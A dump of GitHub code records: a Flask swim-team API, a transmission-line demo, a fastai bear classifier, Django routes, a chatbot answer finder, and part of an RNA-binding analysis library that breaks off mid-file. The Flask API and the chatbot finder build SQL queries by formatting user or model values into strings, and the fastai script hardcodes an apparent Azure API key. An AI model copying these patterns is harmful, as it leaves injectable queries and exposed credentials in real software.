validateUserExists(\"Swimmers\", user_id)\n\n args = swimmer_patch_args.parse_args()\n if args[\"name\"]:\n newName = args[\"name\"]\n updateSwimmerQuery = \"UPDATE Swimmers SET Name = '{}' WHERE ID = {};\"\n updateSwimmerQuery = updateSwimmerQuery.format(newName, user_id)\n cursor.execute(updateSwimmerQuery)\n db.commit()\n if args[\"swimmer_group\"]:\n newSwimmerGroup = args[\"swimmer_group\"]\n updateSwimmerQuery = \"UPDATE Swimmers SET SwimmerGroup = '{}' WHERE ID = {};\"\n updateSwimmerQuery = updateSwimmerQuery.format(newSwimmerGroup, user_id)\n cursor.execute(updateSwimmerQuery)\n db.commit()\n if args[\"main_event\"]:\n newMainEvent = args[\"main_event\"]\n updateSwimmerQuery = \"UPDATE Swimmers SET MainEvent = '{}' WHERE ID = {};\"\n updateSwimmerQuery = updateSwimmerQuery.format(newMainEvent, user_id)\n cursor.execute(updateSwimmerQuery)\n db.commit()\n\n # Query updated swimmer data \n querySwimmerData = \"SELECT * FROM Swimmers WHERE ID = {};\"\n querySwimmerData = querySwimmerData.format(user_id)\n cursor.execute(querySwimmerData)\n swimmerData = cursor.fetchone()\n \n # Calculate age from birthdate\n querySwimmerAge = \"SELECT DATE_FORMAT(NOW(), '%Y') - DATE_FORMAT(Birthdate, '%Y') - (DATE_FORMAT(NOW(), '00-%m-%d') < DATE_FORMAT(Birthdate, '00-%m-%d')) AS Age FROM Swimmers WHERE ID = {};\"\n querySwimmerAge = querySwimmerAge.format(user_id)\n cursor.execute(querySwimmerAge)\n swimmerAge = cursor.fetchone()\n \n content = {\"ID\": swimmerData[0], \"Name\": swimmerData[1], \"Age\": int(swimmerAge[0]), \"SwimmerGroup\": swimmerData[3], \"MainEvent\": swimmerData[4]}\n\n response = jsonify(content)\n response.status_code = 202\n return response \n \n def delete(self, user_id):\n validateUserExists(\"Swimmers\", user_id)\n\n deleteSwimmerData = \"DELETE FROM Swimmers WHERE ID = {};\"\n deleteSwimmerData = deleteSwimmerData.format(user_id)\n cursor.execute(deleteSwimmerData)\n db.commit()\n\n return '', 204\n\napi.add_resource(Swimmers, '/swimmer/')\n\n\n# ==== Coach API ==== #\n\nclass Coaches(Resource):\n def get(self, user_id):\n # Special GET request with user_id=0; list all IDs and associated coaches\n if user_id == 0:\n queryCoaches = \"SELECT ID, Name FROM Coaches;\"\n cursor.execute(queryCoaches)\n coaches = cursor.fetchall()\n payload = []\n content = {}\n for coach in coaches:\n content = {\"ID\": coach[0], \"Name\": coach[1]}\n payload.append(content)\n content = {}\n return jsonify(payload)\n \n validateUserExists(\"Coaches\", user_id)\n \n # Query coach data (note: we don't care about a coach's age)\n queryCoachData = \"SELECT * FROM Coaches WHERE ID = {};\"\n queryCoachData = queryCoachData.format(user_id)\n cursor.execute(queryCoachData)\n coachData = cursor.fetchone()\n \n content = {\"ID\": coachData[0], \"Name\": coachData[1], \"CoachGroup\": coachData[3]}\n \n response = jsonify(content)\n response.status_code = 200\n return response \n \n def put(self, user_id):\n validateIDNotInUse(\"Coaches\", user_id)\n \n args = coach_put_args.parse_args()\n name = args[\"name\"]\n birthdate = args[\"birthdate\"]\n coachGroup = args[\"coach_group\"]\n \n insertCoachQuery = \"INSERT INTO Coaches VALUES ({}, '{}', '{}', '{}');\"\n insertCoachQuery = insertCoachQuery.format(user_id, name, birthdate, coachGroup)\n cursor.execute(insertCoachQuery)\n db.commit()\n\n queryCoaches = \"SELECT ID, Name FROM Coaches\"\n cursor.execute(queryCoaches)\n coaches = cursor.fetchall()\n payload = []\n content = {}\n for coach in coaches:\n content = {\"ID\": coach[0], \"Name\": coach[1]}\n payload.append(content)\n content = {}\n response = jsonify(payload)\n response.status_code = 201\n return response \n \n def patch(self, user_id):\n validateUserExists(\"Coaches\", user_id)\n\n args = coach_patch_args.parse_args()\n if args[\"name\"]:\n newName = args[\"name\"]\n updateCoachQuery = \"UPDATE Coaches SET Name = '{}' WHERE ID = {};\"\n updateCoachQuery = updateCoachQuery.format(newName, user_id)\n cursor.execute(updateCoachQuery)\n db.commit()\n if args[\"coach_group\"]:\n newCoachGroup = args[\"coach_group\"]\n updateCoachQuery = \"UPDATE Coaches SET CoachGroup = '{}' WHERE ID = {};\"\n updateCoachQuery = updateCoachQuery.format(newCoachGroup, user_id)\n cursor.execute(updateCoachQuery)\n db.commit()\n \n # Query updated coach data (note: we don't care about a coach's age)\n queryCoachData = \"SELECT * FROM Coaches WHERE ID = {};\"\n queryCoachData = queryCoachData.format(user_id)\n cursor.execute(queryCoachData)\n coachData = cursor.fetchone()\n \n content = {\"ID\": coachData[0], \"Name\": coachData[1], \"CoachGroup\": coachData[3]}\n \n response = jsonify(content)\n response.status_code = 200\n return response \n\n def delete(self, user_id):\n validateUserExists(\"Coaches\", user_id)\n\n deleteCoachData = \"DELETE FROM Coaches WHERE ID = {};\"\n deleteCoachData = deleteCoachData.format(user_id)\n cursor.execute(deleteCoachData)\n db.commit()\n\n return '', 204\n\napi.add_resource(Coaches, '/coach/')\n\n\n# ==== Run app ==== #\n\nif __name__ == \"__main__\":\n app.run(host=\"0.0.0.0\")","repo_name":"micah-eL/xSwimTeam","sub_path":"api/src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":11328,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"34978011301","text":"# M. P. Hayes UCECE\nfrom ipywidgets import interact\nfrom matplotlib.pyplot import subplots\nfrom numpy import array\nfrom .txline import LosslessTxLine\n\nT_NS_MAX = 25\n\n\ndef txline_lattice_demo1_plot(Z0=60, Rs=20, Rl=1e6, t_ns=0):\n\n # Driver voltage.\n Vd = 4.0\n\n txline = LosslessTxLine(Z0, Rs, Rl, l=1, v=2 * 3e8 / 3)\n\n t = t_ns * 1e-9\n\n fig, axes = subplots(1, figsize=(12, 6))\n axes.set_xlim(0, txline.l)\n axes.set_ylim(0, T_NS_MAX)\n axes.set_xlabel('Distance (m)')\n axes.set_ylabel('Time (ns)')\n axes.set_title('$\\Gamma_l = %s, \\Gamma_s = %s$' %\n (round(txline.GammaVl, 3), round(txline.GammaVs, 3)))\n\n Nbounces = int(t // txline.T)\n\n t0 = 0\n for bounce in range(Nbounces):\n if (bounce & 1) == 0:\n axes.plot((0, txline.l), (t0 * 1e9, (t0 + txline.T) * 1e9),\n color='C0')\n else:\n axes.plot((txline.l, 0), (t0 * 1e9, (t0 + txline.T) * 1e9),\n color='C1')\n t0 += txline.T\n\n tp = t % txline.T\n if (Nbounces & 1) == 0:\n x = tp * txline.v\n axes.plot((0, x), (t0 * 1e9, t * 1e9), color='C0')\n else:\n x = txline.l - tp * txline.v\n axes.plot((txline.l, x), (t0 * 1e9, t * 1e9), color='C1')\n axes.grid(True)\n Vp = txline.Vpulse(Vd, t)\n axes.plot(x, t * 1e9, 'o')\n\n axes.annotate(str(round(Vp, 3)), (x, t * 1e9 + 2))\n\n\ndef txline_lattice_demo1():\n interact(txline_lattice_demo1_plot, Z0=[50, 60, 80, 100],\n Rs=[0, 10, 20, 30, 40, 50, 60, 80, 100],\n Rl=[0, 10, 20, 30, 40, 50, 60, 80, 100, 1000000],\n t_ns=(0, T_NS_MAX, 1),\n continuous_update=False)\n","repo_name":"mph-/es-notebooks","sub_path":"intro/demos/txline_lattice_demo1.py","file_name":"txline_lattice_demo1.py","file_ext":"py","file_size_in_byte":1680,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"71098975732","text":"import fastbook\nfastbook.setup_book()\n\nfrom fastbook import *\nfrom fastai.vision.widgets import *\n\nkey = os.environ.get('AZURE_SEARCH_KEY', '3ba1f98a3f0d446aba85746ce297f275')\n\nresults = search_images_bing(key, 'grizzly bear')\nims = results.attrgot('contentUrl')\nlen(ims)\n\nims = ['http://3.bp.blogspot.com/-S1scRCkI3vY/UHzV2kucsPI/AAAAAAAAA-k/YQ5UzHEm9Ss/s1600/Grizzly%2BBear%2BWildlife.jpg']\n\ndest = 'images/grizzly.jpg'\ndownload_url(ims[0], dest)\n\nim = Image.open(dest)\nim.to_thumb(128,128)\n\nbear_types = 'grizzly','black','teddy'\npath = Path('bears')\n\nif not path.exists():\n path.mkdir()\n for o in bear_types:\n dest = (path/o)\n dest.mkdir(exist_ok=True)\n results = search_images_bing(key, f'{o} bear')\n download_images(dest, urls=results.attrgot('contentUrl'))\n\nfns = get_image_files(path)\nfns\n\nfailed = verify_images(fns)\nfailed\n\nfailed.map(Path.unlink)\n\nbears = DataBlock(\n blocks=(ImageBlock, CategoryBlock), \n get_items=get_image_files, \n splitter=RandomSplitter(valid_pct=0.2, seed=42),\n get_y=parent_label,\n item_tfms=Resize(128))\n\ndls = bears.dataloaders(path)\n\nbears = bears.new(item_tfms=Resize(128, ResizeMethod.Squish))\ndls = bears.dataloaders(path)\n\nbears = bears.new(item_tfms=Resize(128, ResizeMethod.Pad, pad_mode='zeros'))\ndls = bears.dataloaders(path)\n\nbears = bears.new(item_tfms=RandomResizedCrop(128, min_scale=0.3))\ndls = bears.dataloaders(path)\n\nbears = bears.new(item_tfms=Resize(128), batch_tfms=aug_transforms(mult=2))\ndls = bears.dataloaders(path)\n\nbears = bears.new(\n item_tfms=RandomResizedCrop(224, min_scale=0.5),\n batch_tfms=aug_transforms())\ndls = bears.dataloaders(path)\n\nlearn = cnn_learner(dls, resnet18, metrics=error_rate)\nlearn.fine_tune(4)\n\ninterp = ClassificationInterpretation.from_learner(learn)\n\ncleaner = ImageClassifierCleaner(learn)\n\nlearn.export()\n\npath = Path()\npath.ls(file_exts='.pkl')\n\nlearn_inf = load_learner(path/'export.pkl')\n\nlearn_inf.predict('images/grizzly.jpg')\n\nlearn_inf.dls.vocab\n\nbtn_upload = widgets.FileUpload()\nbtn_upload\n\nbtn_upload = SimpleNamespace(data = ['images/grizzly.jpg'])\n\nimg = PILImage.create(btn_upload.data[-1])\n\nout_pl = widgets.Output()\nout_pl.clear_output()\nwith out_pl: display(img.to_thumb(128,128))\nout_pl\n\npred,pred_idx,probs = learn_inf.predict(img)\n\nlbl_pred = widgets.Label()\nlbl_pred.value = f'Prediction: {pred}; Probability: {probs[pred_idx]:.04f}'\nlbl_pred\n\nbtn_run = widgets.Button(description='Classify')\nbtn_run\n\ndef on_click_classify(change):\n img = PILImage.create(btn_upload.data[-1])\n out_pl.clear_output()\n with out_pl: display(img.to_thumb(128,128))\n pred,pred_idx,probs = learn_inf.predict(img)\n lbl_pred.value = f'Prediction: {pred}; Probability: {probs[pred_idx]:.04f}'\n\nbtn_run.on_click(on_click_classify)\n\nbtn_upload = widgets.FileUpload()\n\nVBox([widgets.Label('Select your bear!'), \n btn_upload, btn_run, out_pl, lbl_pred])","repo_name":"LhTaira/first-pytorch-app","sub_path":"lel.py","file_name":"lel.py","file_ext":"py","file_size_in_byte":2912,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"11459416535","text":"from django.urls import path, include\nfrom django.http import HttpResponse\nfrom .views import (\n map_view,\n RoomListAPIView,\n MonthlyRoomListAPIView,\n LeaseRoomListAPIView,\n RoomDetailAPIView,\n)\n\nurlpatterns = [\n path(\"check-main\", lambda request: HttpResponse(\"확인\")),\n path(\"map/\", map_view, name=\"map\"),\n # path(\"map/apart\",),\n path(\"rooms/\", RoomListAPIView.as_view(), name=\"room-list\"),\n path(\"rooms/monthly/\", MonthlyRoomListAPIView.as_view(), name=\"monthly-room-list\"),\n path(\"rooms/lease/\", LeaseRoomListAPIView.as_view(), name=\"lease-room-list\"),\n # 상세 페이지\n path(\"room_detail//\", RoomDetailAPIView.as_view(), name=\"room_detail\"),\n]\n","repo_name":"YeoboyaEmptyRoom/ER-BackEnd","sub_path":"empty/map/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":701,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"19506255631","text":"class FindAnswer:\n def __init__(self, db): #utils/Database.py에서 생성한 Database 인스턴스 객체를 인자로 받아 클래서 맴버 변수로 저장\n self.db = db\n\n # 검색 쿼리 생성\n def _make_query(self, intent_name, ner_tags):\n sql = \"select * from chatbot_train_data\"\n if intent_name != None and ner_tags == None:\n sql = sql + \" where intent='{}' \".format(intent_name)\n\n elif intent_name != None and ner_tags != None:\n where = ' where intent=\"%s\" ' % intent_name\n if (len(ner_tags) > 0):\n where += 'and ('\n for ne in ner_tags:\n where += \" ner like '%{}%' or \".format(ne)\n where = where[:-3] + ')'\n sql = sql + where\n\n # 동일한 답변이 2개 이상인 경우, 랜덤으로 선택\n sql = sql + \" order by rand() limit 1\"\n return sql\n\n # 답�� 검색 의도명과 개체명으로 검색 -> 안되면 의도명만을 이용 -> 안되면 동일한 의도를 가지는 답변을 검색\n def search(self, intent_name, ner_tags):\n # 의도명, 개체명으로 답변 검색\n sql = self._make_query(intent_name, ner_tags)\n answer = self.db.select_one(sql)\n\n # 검색되는 답변이 없으면 의도명만 검색\n if answer is None:\n sql = self._make_query(intent_name, None)\n answer = self.db.select_one(sql)\n\n return (answer['answer'], answer['answer_image'])\n\n # NER 태그를 실제 입력된 단어로 변환\n # 만약 B_FOOD로 인식된 단어가 자장면이라면, 자장면을 B_FOOD로 인식한다. 검색된 답변이 {B_FOOD} 주문이 완료되었습니다 라면 {B_FOOD}에 자장면이 들어감\n def tag_to_word(self, ner_predicts, answer):\n for word, tag in ner_predicts:\n\n # 변환해야하는 태그가 있는 경우 추가\n if tag == 'B_FOOD' or tag == 'B_DT' or tag == 'B_TI':\n answer = answer.replace(tag, word)\n\n answer = answer.replace('{', '')\n answer = answer.replace('}', '')\n return answer","repo_name":"4020507/chatbot-consultant","sub_path":"Tensorflow/utils/FindAnswer.py","file_name":"FindAnswer.py","file_ext":"py","file_size_in_byte":2147,"program_lang":"python","lang":"ko","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"15351268189","text":"# coding=future_fstrings\nfrom __future__ import print_function\n__license__ = \"MIT\"\n__version__ = \"0.9.6\"\n__authors__ = [\"Marvin Jens\"]\n__email__ = \"mjens@mit.edu\"\n\nimport os\nimport numpy as np\nimport time\nimport logging\nimport RBPamp.cyska\nimport RBPamp.cyska as cyska\nfrom RBPamp.cmdline import ensure_path\nfrom RBPamp.caching import cached, pickled, CachedBase\n\n\nclass RBNSSample(CachedBase):\n def __init__(self, reads):\n self.reads = reads\n self.nt_counts_profile = np.array(cyska.kmer_profiles(self.reads.seqm, 1), dtype=np.float32)\n self.nt_counts = self.nt_counts_profile.sum(axis=1)\n self.nt_freqs = self.nt_counts / self.nt_counts.sum()\n self.nt_freqs_profile = self.nt_counts_profile / self.nt_counts_profile.sum(axis=0)[np.newaxis,:]\n \n self.nt_entropy = -(np.log2(self.nt_freqs_profile) * self.nt_freqs_profile).sum(axis=0)\n\n im = self.reads.get_index_matrix(1)\n counts = np.array(cyska.joint_freq_at_distance(im,1), dtype=np.float32)\n freq = counts / counts.sum(axis=(0,1))[np.newaxis, np.newaxis,:]\n indep = np.outer(self.nt_freqs, self.nt_freqs)\n\n self.MI = (freq * np.log2(freq / indep[:,:,np.newaxis])).sum(axis=(0,1))\n\n print(self.nt_freqs)\n\n def nt_entropy_profile(self):\n freq = self.nt_freqs_profile\n ent = -(np.log2(freq) * freq).sum(axis=0)\n import matplotlib.pyplot as pp\n pp.subplot(211)\n pp.plot(ent, linestyle='steps-mid', label=self.reads.name)\n pp.ylim(1,2)\n pp.ylabel(\"nt. entropy [bits]\")\n pp.xlabel(\"read position [nt]\")\n pp.legend(loc='lower center')\n pp.subplot(212)\n pp.pcolor(freq, cmap='viridis')\n pp.yticks(np.arange(4)+.5, list('ACGU'))\n pp.colorbar(label=\"rel. frequency\", orientation='horizontal', fraction=.05)\n\n def MI_profile(self):\n im = self.reads.get_index_matrix(1)\n print(im.min(), im.max())\n counts = np.array(cyska.joint_freq_at_distance(im,1), dtype=np.float32)\n freq = counts / counts.sum(axis=(0,1))[np.newaxis, np.newaxis,:]\n indep = np.outer(self.nt_freqs, self.nt_freqs)\n\n import matplotlib.pyplot as pp\n MI = (freq * np.log2(freq / indep[:,:,np.newaxis])).sum(axis=(0,1))\n pp.figure()\n pp.plot(MI)\n pp.show()\n print(MI)\n\n\nfrom RBPamp.partfunc import PartFuncModel\n\nclass RBNSComparison(CachedBase):\n def __init__(self, in_reads, pd_reads, ska_runner = None):\n \n CachedBase.__init__(self)\n \n self.logger = logging.getLogger('rbns.RBNSComparison')\n self.pd_reads = pd_reads\n self.in_reads = in_reads\n self.ska_runner = ska_runner\n \n self.name = 'RBNS:{pd_reads.rbp_conc}nM:{in_reads.rbp_conc}nM'.format(**locals())\n \n @property\n def cache_key(self):\n return \"{self.name}.{self.pd_reads.cache_key}.{self.in_reads.cache_key}\".format(self=self)\n \n def _subsampled(self, func):\n \"\"\"\n Adds error estimates using subsamples of the underlying RBNSReads instance\n for the pulldown sample.\n \"\"\"\n \n res = func(self.pd_reads, self.in_reads)\n\n sampled = np.array([\n func(sample, self.in_reads)\n for sample in self.pd_reads.subsamples\n ])\n errors = sampled.std(axis=0)\n assert res.shape == errors.shape\n return res, errors\n \n @cached\n @pickled\n def R_values(self, k):\n self.logger.debug(\"computing R-values\")\n def compute_R(sample, control):\n return sample.kmer_frequencies(k) / control.kmer_frequencies(k)\n \n return self._subsampled(compute_R)\n\n @cached\n @pickled\n def W_values(self, k):\n self.logger.debug(\"computing W-values\")\n def compute_W(sample, control):\n fs = (sample.kmer_counts_acc_weighted(k) + 1.)/ sample.N\n fc = (control.kmer_counts_acc_weighted(k) + 1.)/ control.N\n return fs / fc\n # subsampling currently not working with OpenenStorage!\n res = compute_W(self.pd_reads, self.in_reads)\n err = np.zeros(res.shape, dtype=res.dtype)\n return res, err\n\n\n @cached\n def O_values(self, k):\n self.logger.debug(\"computing approximate occupancies by fitting R-values to linear overlap model\")\n R, R_err = self.R_values(k)\n from RBPamp.crosstalk_matrix import CrosstalkMatrix\n cm = CrosstalkMatrix(k, self.in_reads)\n \n occ = cm.fit_occupancies(R)\n occ_min = cm.fit_occupancies(R - R_err)\n occ_max = cm.fit_occupancies(R + R_err)\n \n err_m = np.fabs(occ - occ_min)\n err_M = np.fabs(occ - occ_max)\n occ_err = np.where(err_m > err_M, err_m, err_M )\n return occ, occ_err\n\n\n @cached\n #@pickled\n def DI_values(self, k):\n self.logger.debug(\"computing differential information (DI) values\")\n def compute_DI(sample, control):\n \n c_pd = sample.kmer_counts(k)\n c_in = control.kmer_counts(k)\n \n n_pd = float(c_pd.sum())\n n_in = float(c_in.sum())\n \n p_pd = n_pd / (n_pd + n_in)\n p_in = 1. - p_pd\n \n #print \"p_pd=\",p_pd\n px_pd = c_pd / n_pd\n px_in = c_in / n_in\n px = (c_pd + c_in)/(n_pd + n_in)\n \n #print \"norms=\", px_pd.sum(), px_in.sum(), px.sum()\n \n DI = p_pd * np.log2(px_pd / (px * p_pd) ) + p_in * np.log2(px_in / (px * p_in) )\n #print k, \"DI\", DI[-5:], DI.sum()\n #print \"UUUUU\", px[-1], px_pd[-1], px_in[-1]\n \n return DI \n \n return self._subsampled(compute_DI)\n\n\n @cached\n @pickled\n def SKA_weights(self, k):\n self.logger.debug(\"computing SKA-weights\")\n def compute_SKA(sample, control):\n return self.ska_runner.stream_counts(k, sample, control)\n \n return self._subsampled(compute_SKA)\n\n @cached\n @pickled\n def F_ratios(self, k):\n self.logger.debug(\"computing F-ratios\")\n def compute_F_ratio(sample, control):\n return sample.fraction_of_reads_with_kmers(k) / control.fraction_of_reads_with_kmers(k)\n \n return self._subsampled(compute_F_ratio)\n\n @cached\n @pickled\n def recall_ratios(self, k, kmer_order):\n self.logger.debug(\"computing recall ratios\")\n def compute_recall_ratio(sample, control):\n return sample.recall(k, kmer_order, reorder=False) / control.recall(k, kmer_order, reorder=False)\n \n return self._subsampled(compute_recall_ratio)\n\n @cached\n @pickled\n def pure_F_ratios(self, k, candidates, out_path = \"\", n_sample = 100000):\n self.logger.debug(\"computing pure F-ratios\")\n def compute_pure_F_ratio(sample, control):\n if not sample.is_subsample and out_path:\n out_file_pd = os.path.join(out_path, \"pure_{k}mer_reads_{sample.name}.fa\".format(k = k, sample=sample ))\n out_file_in = os.path.join(out_path, \"pure_{k}mer_reads_{control.name}.fa\".format(k = k, control=control ))\n else:\n out_file_pd = None\n out_file_in = None\n \n f_pd = sample.fraction_of_reads_with_pure_kmers(k, candidates, out_file=out_file_pd, n_sample = n_sample)\n f_in = control.fraction_of_reads_with_pure_kmers(k, candidates, out_file=out_file_in, n_sample = n_sample)\n \n return f_pd / f_in\n\n return self._subsampled(compute_pure_F_ratio)\n \n def __str__(self):\n return self.name\n\n\nclass RBNSAnalysis(CachedBase):\n def __init__(self, rbp_name ='RBP', out_path='ska_results', ska_runner=None, known_kd=\"\", n_pure_samples = 100000):\n \n CachedBase.__init__(self)\n \n self.reads = []\n self.n_samples = 0\n self.acc_storages = []\n self.rbp_name = rbp_name\n self.out_path = out_path\n self.ska_runner = ska_runner\n #self.write_fasta = write_fasta\n self.known_kd = known_kd\n self.n_pure_samples = n_pure_samples\n self.logger = logging.getLogger('rbns.Analysis({self.rbp_name}) -> \"{self.out_path}\"'.format(self=self))\n \n self.rbp_conc = []\n self.comparisons = []\n\n self.k_range = []\n self.runs = {}\n self.AUCs = {}\n #self.pair_screens = collections.defaultdict(dict)\n \n @property\n def cache_key(self):\n return \".\".join([r.cache_key for r in self.reads])\n\n @property\n def sample_labels(self):\n return [\"input\"] + [\"{} nM\".format(conc) for conc in self.rbp_conc]\n\n def flush(self, all=False):\n for comp in self.comparisons:\n comp.cache_flush()\n for reads in self.reads:\n if all:\n reads.cache_flush(deep=True)\n else:\n reads.cache_flush('get_index_matrix')\n\n def add_reads(self, rbns_reads):\n self.logger.info(\"adding {0}\".format(rbns_reads.name) )\n self.reads.append(rbns_reads)\n # sample = RBNSSample(rbns_reads)\n # sample.nt_entropy_profile()\n # sample.MI_profile()\n\n # secondary structure open-energies/accessibility storage\n from RBPamp.fold import OpenenStorage\n self.acc_storages.append(rbns_reads.acc_storage)\n \n if len(self.reads) > 1:\n self.comparisons.append(RBNSComparison(self.reads[0], rbns_reads, self.ska_runner) )\n self.rbp_conc.append(rbns_reads.rbp_conc)\n\n self.n_samples = len(self.reads) - 1\n \n @property\n def input_reads(self):\n # return reads with lowest concentration (should be 0)\n i = np.array(self.rbp_conc).argsort()[0]\n return self.reads[i]\n\n def _make_matrices(self, comp_attr, *argc, **kwargs):\n self.logger.debug(\"gathering data matrices for {0}\".format(comp_attr) )\n\n M = np.array([getattr(comp, comp_attr)(*argc, **kwargs) for comp in self.comparisons])\n values = M[:,0,:]\n errors = M[:,1,:]\n \n return values, errors\n \n def R_value_matrix(self, k):\n return self._make_matrices(\"R_values\", k)\n\n def W_value_matrix(self, k):\n return self._make_matrices(\"W_values\", k)\n\n def DI_value_matrix(self, k):\n DI, DI_err = self._make_matrices(\"DI_values\", k)\n print(DI.shape, end=' ') \n for conc,di in zip(self.rbp_conc, DI):\n print(di.argmax(), di.argmin())\n self.logger.info(\"total mutual information between {0}mer-frequencies and pd/in variable @{2:.1f}nM is {1:.3e} bits\".format(k, di.sum(), conc))\n\n return self._make_matrices(\"DI_values\", k)\n\n def O_value_matrix(self, k):\n return self._make_matrices(\"O_values\", k)\n\n def SKA_weight_matrix(self, k):\n return self._make_matrices(\"SKA_weights\", k)\n\n def F_ratio_matrix(self, k):\n return self._make_matrices(\"F_ratios\", k)\n \n def recall_ratio_matrix(self, k):\n kmer_order = self.get_optimal_kmer_ranking(k)\n return self._make_matrices(\"recall_ratios\", k, kmer_order)\n\n def pure_F_ratio_matrix(self, k):\n self.logger.debug(\"computing pure F-ratio matrix for k={0}\".format(k) )\n\n # TODO: replace by select_significant_kmers\n order = self.get_optimal_kmer_ranking(k)\n R, R_err = self.F_ratio_matrix(k)\n Rm = np.median(R - R_err, axis=0)[order]\n \n i_cut = (Rm > 2).argmin()\n candidates = np.zeros(4**k, dtype=np.uint32)\n candidates[order[:i_cut]] = np.arange(i_cut) + 1\n\n out_path = None\n return self._make_matrices(\"pure_F_ratios\", k, candidates, out_path=out_path, n_sample = self.n_pure_samples)\n\n def explained_matrix(self, k):\n X = []\n X_err = []\n for reads in self.reads:\n x = reads.fraction_of_reads_with_kmers(k)\n X.append(x)\n\n xx = np.array([sub.fraction_of_reads_with_kmers(k) for sub in reads.subsamples])\n print(xx[:,xx.argsort(axis=1)[-10:]])\n err = np.sqrt(((xx - x[np.newaxis,:])**2).mean(axis=0) / reads.n_subsamples)\n \n X_err.append(err)\n\n return np.array(X), np.array(X_err)\n\n\n \n @cached\n def get_optimal_kmer_ranking(self, k):\n # TODO: factor in consistently elevated scores with increasing protein concentration?\n from scipy.stats.mstats import gmean\n all_R = self.R_value_matrix(k)[0]\n\n #return gmean(all_ska_weights, axis=0).argsort()[::-1]\n return np.median(all_R, axis=0).argsort()[::-1]\n \n def select_diagnostic_kmers(self, k=7, n=10):\n R = self.R_value_matrix(k)[0]\n # print \"R-shape\", R.shape\n Rm = R.max(axis=1)\n \n from .cyska import index_to_seq\n Rm_i = sorted(set(R.argmax(axis=1)))\n\n n_choices = len(R)\n self.logger.debug(\"highest enriched kmers {}\".format([index_to_seq(i, k) for i in Rm_i]) )\n med_R = []\n enr_R = []\n for i in Rm_i:\n print(\"checking kmer\", index_to_seq(i, k))\n for reads, r, sample_r in zip(self.reads[1:], R[:, i], R):\n lo_quant = np.percentile(sample_r, 25)\n print(reads.name, r, lo_quant, 1./lo_quant)\n\n med_R.append(np.min(R[:, i]))\n enr_R.append((R[:, i] > 1).sum()/float(n_choices))\n \n enr_R = np.array(enr_R)\n med_R = np.array(med_R)\n self.logger.debug(\"min enrichment observed for these kmers {}\".format(med_R))\n self.logger.debug(\"samples that showed any enrichment for these kmers {}\".format(enr_R))\n\n kmer_score = med_R * enr_R\n # print kmer_score.shape, kmer_score\n I = kmer_score.argsort()[::-1]\n best = []\n for i in I:\n kmer_i = Rm_i[i]\n best.append( (index_to_seq(kmer_i, k), kmer_i, R[:, kmer_i]) )\n\n return best\n\n def keep_best_samples(self, ranks=[1, 2, 3], k=7, min_R=1.1):\n n_samples = len(self.reads[1:])\n n_wanted = len(ranks)\n if not n_wanted:\n # everything selected\n return\n \n R = self.R_value_matrix(k)[0]\n top_kmer_per_sample = R.argmax(axis=1)\n R_max = np.array([r[i] for r, i in zip(R, top_kmer_per_sample)])\n sample_max_R = R_max.argmax()\n kmer_i = top_kmer_per_sample[sample_max_R]\n import RBPamp.cyska\n kmer = RBPamp.cyska.index_to_seq(kmer_i, 7)\n sample_score = np.array([r[kmer_i] for r in R])\n\n QC_pass = sample_score >= min_R\n QC_fail = ~QC_pass\n n_fail = QC_fail.sum()\n if n_fail > 0:\n self.logger.warning(\"the following concentrations did not pass QC and are not considered further: {}\".format(np.array(self.rbp_conc)[QC_fail]))\n\n # sample_score = []\n # for reads, sample_r in zip(self.reads[1:], R):\n # lo_q = np.percentile(sample_r, 25)\n # sample_score.append(1. / lo_q)\n \n # sample_score = np.array(sample_score)\n\n final_score = (sample_score * QC_pass)\n sample_i = final_score.argsort()[::-1] # failed experiments get 0 sample score\n self.logger.debug(f\"ordering samples by enrichment of {kmer}: {sample_score} -> {sample_i}\")\n\n original_ranks = ranks\n ranks = np.array(ranks, dtype=int) - 1\n ranks = ranks[ranks < (n_samples - n_fail)]\n indices = np.arange(n_samples)\n chosen = sorted(indices[sample_i[ranks]])\n\n chosen_scores = final_score[chosen]\n chosen_ranks = np.empty_like(chosen)\n chosen_ranks[chosen_scores.argsort()[::-1]] = np.arange(len(chosen))\n\n self.logger.debug(f\"chosen sample indices: {chosen} scores: {chosen_scores}, ranks: {chosen_ranks}\")\n\n for j in set(list(indices)) - set(list(chosen)):\n self.reads[j].cache_flush(deep=True)\n\n reads = [self.reads[0],] + list(np.array(self.reads[1:])[chosen])\n self.reads = []\n\n self.logger.info(\"keeping samples with RBP concentrations {}\".format([r.rbp_conc for r in reads]))\n rbns = RBNSAnalysis(rbp_name = self.rbp_name, out_path=self.out_path, ska_runner=self.ska_runner, known_kd=self.known_kd, n_pure_samples = self.n_pure_samples)\n for r in reads:\n rbns.add_reads(r)\n \n if len(chosen) < n_wanted:\n self.logger.warning(\"less samples available than ranks requested. Analysis will use only {} samples\".format(len(chosen)))\n if len(chosen) < 1:\n raise ValueError(f\"no sample left! You asked for ranks={original_ranks} with n_samples={n_samples} n_fail={n_fail}\")\n\n return chosen_ranks, rbns\n \n def select_significant_kmers(self,k, z_cut=2, n_min=1, n_max=None):\n ska, ska_err = self.SKA_weight_matrix(k)\n \n # be conservative rg. error of SKA weight, but keep it non-negative\n s = np.where(ska > ska_err, ska - ska_err, 0)\n # z-score across kmers, mean across protein concentations\n z = np.mean( (s - ska.mean(axis=1)[:, np.newaxis]) / ska.std(axis=1)[:, np.newaxis], axis=0)\n \n order = z.argsort()[::-1]\n #print z[order][:20]\n rank_cut = max((z[order] < z_cut).argmax(), n_min)\n if n_max:\n rank_cut = min(n_max, rank_cut)\n \n best_sample_i = ska[:,order[0]].argmax()\n kmers = [cyska.index_to_seq(i, k) for i in order[:rank_cut]]\n return kmers, order[:rank_cut], best_sample_i+1\n \n def compute_results(self, k, options, results=[\"R_value\", \"affinities\", \"pure_F_ratio\", \"recall_ratio\", \"SKA_weight\", \"F_ratio\"]):\n if len(self.reads) < 2:\n self.logger.warning(\"need at least two samples to compute '{0}'\".format(results))\n return\n\n order = self.get_optimal_kmer_ranking(k)\n all_kmers = np.array(list(cyska.yield_kmers(k)))\n \n for name in results:\n if not 